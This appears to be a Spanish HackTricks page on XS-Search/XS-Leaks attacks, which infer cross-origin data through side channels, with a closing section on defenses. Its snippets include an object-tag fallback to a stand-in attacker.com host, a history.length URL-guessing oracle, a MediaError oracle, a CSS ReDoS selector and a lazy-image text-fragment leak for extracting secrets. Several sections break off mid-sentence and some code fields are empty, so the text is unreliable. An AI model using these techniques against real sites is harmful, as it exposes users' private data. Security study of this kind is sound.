hacktricks/pentesting-web/xs-search.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

37 KiB

XS-Search/XS-Leaks


Utilice Trickest para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

XS-Search es una técnica orientada a filtrar información de origen cruzado abusando de ataques de canal lateral.

Hay diferentes elementos en este tipo de ataque:

  • Web vulnerable: es la web desde donde queremos filtrar alguna información.
  • Web del atacante: es la web que el atacante crea que contiene el exploit y a la que accede la víctima.
  • Método de inclusión: es el método utilizado para cargar la web vulnerable desde la web del atacante (como window.open, iframe, fetch, etiqueta HTML con href...).
  • Técnica de filtrado: después de acceder a la web vulnerable, se utilizará una técnica para diferenciar entre el estado potencial de la web con la información obtenida del método de inclusión utilizado.
  • Estados: los 2 posibles estados que puede tener la web vulnerable dependiendo de la víctima que queremos diferenciar.
  • Diferencias detectables: esta es la información que el atacante tiene que intentar decidir el estado de la web vulnerable.

Diferencias detectables

Para distinguir entre los 2 estados de la página vulnerable, se pueden observar varias cosas:

  • Código de estado. Un atacante puede distinguir diferentes códigos de estado de respuesta HTTP de origen cruzado (por ejemplo, errores del servidor, errores del cliente o errores de autenticación).
  • Uso de API. Esta diferencia detectable permite a un atacante detectar el uso de las API web en las páginas, lo que le permite inferir si una página de origen cruzado está utilizando una API web JavaScript específica.
  • Redirecciones. Es posible detectar si una aplicación web ha navegado al usuario a una página diferente. Esto no se limita a las redirecciones HTTP, sino que también incluye las redirecciones desencadenadas por JavaScript o HTML.
  • Contenido de la página. Estas diferencias detectables aparecen en el cuerpo de la respuesta HTTP o en subrecursos incluidos por la página. Por ejemplo, esto podría ser el número de marcos incluidos (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
  • Encabezado HTTP. Un atacante puede detectar la presencia de un encabezado de respuesta HTTP específico y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargará attacker.com/?error.

Tiempo de carga

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tiempo de carga + tarea pesada forzada

Esta técnica es similar a la anterior, pero el atacante también forzará alguna acción para que tome un tiempo relevante cuando la respuesta sea positiva o negativa y medirá ese tiempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tiempo de descarga / antes de la descarga

Los eventos unload y beforeunload se pueden utilizar para medir el tiempo que tarda en recuperar un recurso. Esto funciona porque beforeunload se activa cuando el navegador solicita una nueva solicitud de navegación, mientras que unload se activa cuando esa navegación realmente ocurre. Debido a este comportamiento, es posible calcular la diferencia de tiempo entre estos dos eventos y medir

Bucle de Eventos Ocupado

  • Métodos de inclusión:
  • Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumen: Medir el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y cronometrando cuánto tiempo tarda el bucle de eventos en estar disponible nuevamente.
  • Ejemplo de código:

Una de las principales ventajas de esta técnica es su capacidad para evitar el Aislamiento de Sitios, ya que el origen del atacante puede influir en la ejecución de otro origen.

{% hint style="warning" %} En una medición de tiempo de ejecución es posible eliminar los factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla. {% endhint %}

Pool de Conexiones

  • Métodos de inclusión: Solicitudes de JavaScript
  • Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Resumen: Un atacante podría bloquear todos los sockets excepto uno, cargar la web objetivo y al mismo tiempo cargar otra página, el tiempo hasta que se comience a cargar la última página es el tiempo que tardó en cargar la página objetivo.
  • Ejemplo de código:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Los navegadores utilizan sockets para comunicarse con los servidores. Como el sistema operativo y el hardware en el que se ejecuta tienen recursos limitados, los navegadores tienen que imponer un límite. Para explotar la existencia de este límite, los atacantes pueden:

  1. Verificar cuál es el límite del navegador, por ejemplo, 256 sockets globales.
  2. Bloquear 255 sockets durante un largo período de tiempo realizando 255 solicitudes a diferentes hosts que simplemente cuelgan la conexión.
  3. Usar el socket 256 realizando una solicitud a la página objetivo.
  4. Realizar una solicitud 257 a otro host. Dado que todos los sockets están siendo utilizados (en los pasos 2 y 3), esta solicitud debe esperar hasta que el pool reciba un socket disponible. Este período de espera proporciona al atacante el tiempo de sincronización de red del socket 256, que pertenece a la página objetivo. Esto funciona porque los 255 sockets en el paso 2 todavía están bloqueados, por lo que si el pool recibió un socket disponible, fue causado por la liberación del socket en el paso 3. El tiempo para liberar el socket 256 está directamente relacionado con el tiempo que tarda en completarse la solicitud.

Para obtener más información: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Conexiones por Destino

  • Métodos de inclusión: Solicitudes de JavaScript
  • Diferencia detectable: Tiempo (generalmente debido al contenido de la página, código de estado)
  • Más información:
  • Resumen: Es como la técnica anterior, pero en lugar de usar todos los sockets, Google Chrome

Service Worker

Los service workers son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y almacenar en caché recursos para crear aplicaciones web sin conexión.
Si un recurso almacenado en caché por un service worker se accede a través de un iframe, el recurso se cargará desde la caché del service worker.
Para detectar si el recurso se cargó desde la caché del service worker, se puede utilizar la API de rendimiento.
Esto también se podría hacer con un ataque de temporización (consulte el documento para obtener más información).

Caché

Usando la API de rendimiento es posible verificar si un recurso está en caché.
Para obtener más información: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Duración de la red

Técnica de mensajes de error

Error de medios

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
  document.getElementById("log").innerHTML += msg;
}

function startup() {
  let audioElement = document.getElementById("audio");
 // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
  document.getElementById("startTest").addEventListener("click", function() {
    audioElement.src = document.getElementById("testUrl").value;
  }, false);
  // Create the event handler
  var errHandler = function() {
    let err = this.error;    
    let message = err.message;
    let status = "";
    
    // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
    // Firefox error.message when the request loads successfully: "Failed to init decoder"
    if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
      status = "Success";
    }else{
      status = "Error";
    }
    displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
  };
  audioElement.onerror = errHandler;
}

La propiedad de mensaje de la interfaz MediaError contiene una cadena diferente para recursos que se cargan correctamente. Esto permite a un atacante inferir el estado de respuesta para un recurso de origen cruzado.

Error de CORS

Esta técnica permite a un atacante filtrar el objetivo de una redirección que es iniciada por un sitio de origen cruzado.

CORS permite que los recursos web de acceso público sean leídos y utilizados desde cualquier sitio web. En los navegadores basados en Webkit, es posible acceder a los mensajes de error de CORS cuando falla una solicitud CORS. Un atacante puede enviar una solicitud habilitada para CORS a un sitio web objetivo que redirige según el estado del usuario. Cuando el navegador deniega la solicitud, se filtra la URL completa del objetivo de la redirección en el mensaje de error. Con este ataque, es posible detectar redirecciones, filtrar ubicaciones de redirección y parámetros de consulta sensibles.

Error de SRI

Un atacante puede filtrar el tamaño de las respuestas de origen cruzado debido a mensajes de error detallados.

El atributo de integridad define un hash criptográfico mediante el cual el navegador puede verificar que un recurso recuperado no ha sido manipulado. Este mecanismo de seguridad se llama Subresource Integrity (SRI). Se utiliza para la verificación de integridad de los recursos servidos desde redes de entrega de contenido (CDN). Para evitar fugas de datos, los recursos de origen cruzado deben estar habilitados para CORS. De lo contrario, la respuesta no es elegible para la validación de integridad. Similar al XS-Leak de error de CORS, es posible capturar el mensaje de error después de una solicitud de recuperación con un atributo de integridad fallida. Un atacante puede forzar este error en cualquier solicitud especificando un valor de hash falso. En SA, este mensaje de error filtra la longitud del contenido del recurso solicitado. Un atacante puede utilizar esta filtración para detectar diferencias en el tamaño de la respuesta, lo que permite poderosos ataques XS-Leak.

Violación/Detección de CSP

Longitud máxima de URL - Lado del cliente

Según la documentación de Chromium, la longitud máxima de URL de Chrome es de 2MB.

En general, la plataforma web no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). Chrome limita las URL a una longitud máxima de 2MB por razones prácticas y para evitar problemas de denegación de servicio en la comunicación entre procesos.

Por lo tanto, si la URL de redireccionamiento respondida es más grande en uno de los casos, es posible hacer que se redirija con una URL mayor a 2MB para alcanzar el límite de longitud. Cuando esto sucede, Chrome muestra una página de about:blank#blocked.

La diferencia notable es que si la redirección se completó, window.origin arroja un error porque un origen cruzado no puede acceder a esa información. Sin embargo, si se alcanzó el límite y la página cargada fue about:blank#blocked, el origin de la ventana sigue siendo el del padre, que es una información accesible.

Toda la información adicional necesaria para alcanzar los 2MB se puede agregar a través de un hash en la URL inicial para que se use en la redirección.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Máximo de redirecciones

Si el número máximo de redirecciones que sigue un navegador es de 20, un atacante podría intentar cargar su página con 19 redirecciones y finalmente enviar a la víctima a la página probada. Si se produce un error, entonces la página estaba intentando redirigir a la víctima.

Longitud del historial

La API de Historial permite que el código JavaScript manipule el historial del navegador, que guarda las páginas visitadas por un usuario. Un atacante puede usar la propiedad de longitud como método de inclusión: para detectar la navegación de JavaScript y HTML.
Comprobando history.length, haciendo que un usuario navegue a una página, cambiándola de vuelta al mismo origen y comprobando el nuevo valor de history.length.

Longitud del historial con la misma URL

  • Métodos de inclusión: Frames, Pop-ups
  • Diferencia detectable: Si la URL es la misma que la adivinada
  • Resumen: Es posible adivinar si la ubicación de un marco/pop-up está en una URL específica abusando de la longitud del historial.
  • Ejemplo de código: A continuación

Un atacante podría usar código JavaScript para manipular la ubicación del marco/pop-up a una adivinada e inmediatamente cambiarla a about:blank. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo de aumentar porque la URL no se recarga si es la misma. Si no aumentó, significa que intentó cargar la URL adivinada pero porque inmediatamente después cargamos about:blank, la longitud del historial nunca aumentó al cargar la URL adivinada.

async function debug(win, url) {
    win.location = url + '#aaa';
    win.location = 'about:blank';
    await new Promise(r => setTimeout(r, 500));
    return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Conteo de Frames

Contar el número de frames en una página web abierta a través de iframe o window.open puede ayudar a identificar el estado del usuario en esa página. Además, si la página siempre tiene el mismo número de frames, verificar continuamente el número de frames puede ayudar a identificar un patrón que podría filtrar información.

Un ejemplo de esta técnica es que en Chrome, un PDF se puede detectar con el conteo de frames porque se utiliza internamente un embed. Hay [Par

Obtención de Tiempos

Obtención de Tiempos entre Ventanas


Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Con Inyección de HTML o Reinyección

Aquí puede encontrar técnicas para exfiltrar información de un HTML de origen cruzado inyectando contenido HTML. Estas técnicas son interesantes en casos en los que, por cualquier motivo, se puede inyectar HTML pero no se puede inyectar código JS.

Markup Colgante

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

Carga Diferida de Imágenes

Si necesita exfiltrar contenido y puede agregar HTML previo al secreto, debe verificar las técnicas comunes de markup colgante.
Sin embargo, si por alguna razón DEBE hacerlo carácter por carácter (tal vez la comunicación sea a través de un acierto en la caché), puede utilizar este truco.

Las imágenes en HTML tienen un atributo "carga" cuyo valor puede ser "diferida". En ese caso, la imagen se cargará cuando se vea y no mientras se carga la página:

<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es añadir muchos caracteres basura (por ejemplo, miles de "W") para llenar la página web antes del secreto. Hacemos esto para que la imagen no se cargue al principio.

Sin embargo, haces que el bot acceda a la página con algo como

#:~:text=SECR

Entonces, la página web será algo como: https://victim.com/post.html#:~:text=SECR

Donde post.html contiene los caracteres basura del atacante y la imagen de carga lenta, y luego se agrega el secreto del bot.

Lo que este texto hará es hacer que el bot acceda a cualquier texto en la página que contenga el texto SECR. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así que ahí tienes tu oráculo para filtrar el secreto carácter por carácter.

Algunos ejemplos de código para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Encuentra otro ejemplo usando carga lenta aquí:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Si se utiliza jQuery(location.hash), es posible averiguar mediante el tiempo si existe algún contenido HTML, esto se debe a que si el selector main[id='site-main'] no coincide, no es necesario comprobar el resto de los selectores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Inyección de CSS

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defensas

En esta sección se pueden encontrar algunas de las mitigaciones recomendadas en https://xsinator.com/paper.pdf, sin embargo, hay más mitigaciones en cada sección de la wiki https://xsleaks.dev/. Consulte allí para obtener más información sobre cómo protegerse contra estas técnicas.

Mitigaciones del método de inclusión

  • Elementos HTML. Se puede utilizar el encabezado CORP para controlar si las páginas pueden incrustar un recurso. CORP puede establecerse en misma origen o mismo sitio y bloquea cualquier solicitud de origen cruzado o respectivamente de sitio cruzado a ese recurso. En el lado del cliente, los navegadores basados en Chromium utilizan el algoritmo CORB para decidir si se deben permitir o denegar las solicitudes de recursos de origen cruzado.
  • Marcos. La principal defensa para evitar que los elementos iframe carguen recursos HTML es el uso de X-Frame-Options. Alternativamente, la directiva CSP frame-ancestors puede lograr un resultado similar. Si se niega la incrustación, el método de inclusión no puede detectar una diferencia en las respuestas.
  • Ventanas emergentes. Para restringir el acceso a window.opener, el encabezado de respuesta HTTP COOP define tres valores diferentes: unsafe-none (predeterminado), same-origin-allow-popups y same-origin. Estos valores se pueden utilizar para aislar las pestañas de navegación y las ventanas emergentes y, por lo tanto, mitigar las técnicas de fuga basadas en ventanas emergentes.
  • Solicitudes de JavaScript. Las solicitudes de JavaScript de origen cruzado se utilizan a menudo en ataques XS-Leak, porque un atacante tiene un control detallado sobre la solicitud emitida. Sin embargo, dado que estas solicitudes no están habilitadas para CORS, están sujetas a las mismas restricciones que las solicitudes enviadas por elementos HTML, como scripts o imágenes. Por lo tanto, el impacto de esta técnica de fuga también se puede mitigar mediante CORP y CORB.

Métodos más genéricos:

  • Metadatos de recuperación. Estos encabezados de solicitud permiten a los propietarios del servidor comprender mejor cómo el navegador del usuario causó una solicitud específica. En Chrome, los encabezados Sec-Fetch-* se agregan automáticamente a cada solicitud y proporcionan metadatos sobre la procedencia de la solicitud. Por ejemplo, Sec-Fetch-Dest: image se activó desde un elemento de imagen. Las aplicaciones web pueden elegir bloquear solicitudes en función de esa información.
  • Cookies Same-Site. La marca Same-Site de las cookies permite a los sitios web declarar si una cookie debe restringirse al contexto de mismo sitio o de primer nivel. Todos los principales navegadores admiten cookies Same-Site. En GC, las cookies sin el atributo son ahora Lax de forma predeterminada. Para XS-Leaks, las cookies Same-Site limitan drásticamente las posibilidades de ataque de fuga. Por otro lado, las técnicas de fuga que dependen de window.open aún funcionan con SameSite=Lax. Los sitios web que utilizan otros métodos de autenticación, como certificados de cliente y autenticación HTTP, siguen siendo vulnerables.
  • Desvinculación de identificadores de origen cruzado (COIU). COIU, también conocido como Aislamiento de primeros partidos (FPI), es una función de seguridad opcional que los usuarios pueden habilitar en la configuración experta de FF (about:config) y que se introdujo inicialmente en Tor Browser. En una vista abstracta, es un contexto de mismo sitio extendido. Vincula múltiples recursos (por ejemplo, cookies, caché, almacenamiento del lado del cliente) al primer partido en lugar de compartirlos entre todos los sitios web visitados. Si se habilita, COIU disminuye drásticamente la aplicabilidad de XS-Leaks, ya que solo son posibles los métodos que utilizan ventanas emergentes para cumplir con el requisito de primer partido de la política.
  • Protecciones de seguimiento. Apple implementó un mecanismo de privacidad llamado Prevención inteligente de seguimiento (ITP) en SA que tiene como objetivo combatir el seguimiento entre sitios limitando las capacidades de las cookies y otras API web. En versiones más nuevas de SA, ITP bloquea todas las cookies de terceros de forma predeterminada sin excepciones [74]. Este bloqueo evita todas las fugas que no se basan en ventanas emergentes. FF adoptó un enfoque similar con la Prevención mejorada de seguimiento (ETP), pero solo bloquean cookies de terceros específicas pertenecientes a proveedores de seguimiento. En el contexto de XS-Leaks, ETP solo mitiga las técnicas de fuga que apuntan a estos dominios de seguimiento.
  • Extensiones del navegador. Los usuarios conscientes de la seguridad pueden utilizar extensiones del navegador para evitar ciertos métodos de inclusión.

Mitigaciones de técnicas de fuga

  • Manejador de eventos. La mitigación más efectiva en esta técnica de fuga sería denegarlos todos, pero esto rompería la mayoría de las aplicaciones web en Internet. Por lo tanto, proponemos reducir el número de información necesaria que se puede recopilar dentro de los eventos. Por ejemplo, el evento de violación de CSP no debe contener la URL de destino de redireccionamiento en el campo blockedURI. Este comportamiento se implementa en FF y en versiones más nuevas de GC, solo SA sigue siendo vulnerable.
  • Mensajes de error. Para mitigar XS-Leaks basados en la técnica de fuga de mensajes de error, hay dos requisitos principales. En primer lugar, los mensajes de error no deben contener información detallada, de manera similar a los mensajes de manejador de eventos. En segundo lugar, los navegadores deben minimizar la aparición de mensajes de error. XS-Leaks como SRI Error, ContentDocument XFO o Fetch Redirect detectan si se lanza o no un mensaje de error.
  • Límites globales. La corrección de las técnicas de fuga que abusan de los límites globales es relativamente compleja porque dependen de restricciones físicas. La recomendación general es, por lo tanto, restringir los límites globales en una pequeña base por sitio. Si el límite global es 1, como para la API de pago, el atacante puede intentar activar silenciosamente la interfaz de usuario de pago web en cualquier momento, lo que solo tiene éxito si la interfaz de usuario no se está utilizando simultáneamente en ninguna otra pestaña. Recomendamos acceder a la API de pago solo cuando se haya utilizado un evento confiable. De esta manera, el límite global se establece en cero a menos que el usuario proporcione su consentimiento, como un clic izquierdo del mouse en una ventana de diálogo, que establece el límite global en uno.
  • Estado global. Las propiedades del estado global del navegador no deben ser accesibles. Por ejemplo, FF es el único navegador que actualiza el historial del estado global cuando ocurre una redirección, lo que result